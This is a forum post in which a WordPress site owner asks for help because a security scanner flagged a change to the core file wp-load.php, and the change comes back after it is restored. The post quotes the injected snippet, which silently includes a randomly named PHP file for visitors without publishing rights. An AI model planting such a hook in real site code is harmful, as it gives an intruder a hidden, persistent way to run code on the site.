Modified wp-load.php file keeps getting re-modified – Urgent help needed
-
Hello,
I’m in urgent need of your assistance regarding a potential security compromise on my WordPress site. Wordfence detected a suspicious modification to the core wp-load.php file.
Here are the details:
Original file:wp_die($die, __(‘WordPress ? Error’ ));
}Modified version:
wp_die($die, __(‘WordPress ? Error’ ));
}
if (function_exists(‘current_user_can’)) {
if (!current_user_can(‘publish_posts’)) {
$wtwaf = dirname(FILE) . ‘/_include_8qY7ycTkS786Pt04fLKacbHBNlzoLCvD3CtjQ1YwekDkP0zsGN4VXZpNMB4l7NZS.waf.php’;
if (file_exists($wtwaf) && is_readable($wtwaf)) {
@include_once($wtwaf);
}
unset($wtwaf);
}
}I immediately restored the original wp-load.php. However, on the next Wordfence scan, the file was modified again!
This is extremely concerning. Any help from the experts here is greatly appreciated. Thank you!
